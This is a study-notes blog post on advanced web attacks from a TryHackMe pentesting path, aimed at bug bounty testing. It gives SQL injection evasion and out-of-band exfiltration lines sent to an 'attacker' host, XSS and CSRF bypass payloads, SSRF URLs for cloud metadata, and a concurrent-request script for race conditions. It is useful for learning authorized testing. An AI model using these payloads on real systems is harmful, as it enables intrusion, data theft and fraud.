Overview

This post covers techniques from the Injection Attacks, Advanced Server-Side Attacks, and Advanced Client-Side Attacks modules of the TryHackMe Web Application Pentesting path. Each technique includes bug bounty applicability.

Advanced SQL Injection

Second-Order SQLi

Payload is stored in the database and executed later when retrieved by a different query. Bypasses front-end input validation because the injection happens at retrieval, not insertion.

Bug Bounty: Test profile fields, settings, stored preferences – anywhere input is saved and later used in a different context.

Filter Evasion Techniques

When WAF blocks keywords like OR, AND, UNION, SELECT:

TechniqueExample
URL encoding%27%20||%201=1%20--+ for ' OR 1=1 --
Hex encoding0x61646d696e for admin
Unicode encoding\u0061\u0064\u006d\u0069\u006e
No spacesSELECT/**/username/**/FROM/**/users
No quotesWHERE name = 0x61646d696e
Double URL encode%2527 for ' when server decodes twice

Out-of-Band SQLi

When direct response is blocked, exfiltrate via external channels:

  • MySQL SMB: SELECT data INTO OUTFILE '\\\\attacker\\share\\out.txt'
  • MSSQL xp_cmdshell: EXEC xp_cmdshell 'bcp "SELECT..." queryout "\\\\attacker\\out.txt" -c -T'
  • Oracle HTTP: UTL_HTTP.BEGIN_REQUEST('http://attacker/?data=' || secret)
  • DNS exfil: Encode data as subdomain query

HTTP Header Injection

Headers like User-Agent, Referer, X-Forwarded-For are often logged in databases unsanitized:

curl -H "User-Agent: ' UNION SELECT username, password FROM user; #" target/endpoint

Bug Bounty: Always test SQLi in ALL HTTP headers, not just form fields. Logging endpoints are prime targets.

XSS: Context and Evasion

Context-Aware Payloads

ContextPayload Strategy
Between HTML tags<script>alert(1)</script>
Inside HTML attribute"><script>alert(1)</script>
Inside JavaScript string';alert(1)//
Inside existing script</script><script>alert(1)</script>

Filter Evasion

Break up payloads with whitespace characters:

  • Horizontal tab: &#x09; – <IMG SRC="jav&#x09;ascript:alert('XSS');">
  • Newline: &#x0A; – <IMG SRC="jav&#x0A;ascript:alert('XSS');">
  • Carriage return: &#x0D;

Bug Bounty: When basic payloads are blocked, try encoded whitespace injection. Also check Tiny XSS Payloads for length-restricted contexts.

CSRF: Advanced Bypass Techniques

Attack chain:

  1. Reverse-engineer predictable CSRF token (e.g., base64 of account number)
  2. Control a subdomain of the target (e.g., attacker.target.com)
  3. Set csrf-token cookie for .target.com domain from the subdomain
  4. Auto-submit form with matching cookie + hidden field values

SameSite=Lax bypass: Cookies are sent on top-level GET navigations:

<a href="https://target.com/logout">Click here for survey!</a>

Chrome 2-minute POST window: Cookies modified in the last 2 minutes are treated as SameSite=None:

<script>
function attack(){
  let win = window.open("https://target.com/logout"); // Updates cookie
  setTimeout(function(){
    win.close();
    document.forms[0].submit(); // POST within 2-min window
  }, 1000);
}
</script>
<form method="post" action="https://target.com/update">
  <input name="isBanned" value="true">
</form>

Bug Bounty: Check SameSite attribute on ALL cookies. Test Lax+POST within 2 minutes of any cookie refresh (login, logout, preference change).

SSRF Techniques

Basic SSRF

  • URL parameter loads external content: url.php?id=http://internal-server/admin
  • Access internal services: ?url=http://127.0.0.1:8080/admin
  • Cloud metadata: ?url=http://169.254.169.254/latest/meta-data/

Blind SSRF

Server makes request but response isn’t shown. Detect via:

  • Time-based: Request to slow server = delayed response
  • OOB: Request to Burp Collaborator/webhook.site

DoS via SSRF

Force server to download large files, causing memory exhaustion or crash.

Bug Bounty: Test any parameter that accepts URLs or fetches external content. Always try internal IPs, cloud metadata endpoints, and localhost.

Race Conditions

TOCTOU (Time of Check vs Time of Use)

Classic race: balance check happens before deduction. Send concurrent requests to exploit the gap:

import threading, requests

def transfer():
    requests.post("https://target/transfer", data={"amount": 1000, "to": "attacker"})

threads = [threading.Thread(target=transfer) for _ in range(50)]
for t in threads: t.start()

Limit-Overrun

Coupon codes, free trial activations, vote systems – send multiple concurrent requests before the server can mark the first as used.

Bug Bounty: Test any action that should only succeed once (payments, coupon redemption, votes, likes) by sending 10-50 concurrent requests using Burp Turbo Intruder or custom scripts.

Bug Bounty Quick Reference

VulnerabilityWhere to TestSeverity
Second-Order SQLiProfile fields, stored settingsP1-P2
Header SQLiUser-Agent, Referer, X-Forwarded-ForP1-P2
OOB SQLiAny SQLi where no direct outputP1-P2
Stored XSSComments, profiles, file namesP2
XSS with evasionWAF-protected inputsP2-P3
CSRF (SameSite bypass)State-changing actionsP2-P3
SSRFURL parameters, webhooks, importsP1-P2
Race ConditionsPayments, coupons, transfersP1-P2

Part of the Web Application Pentesting path on TryHackMe. Techniques are for authorized security testing only.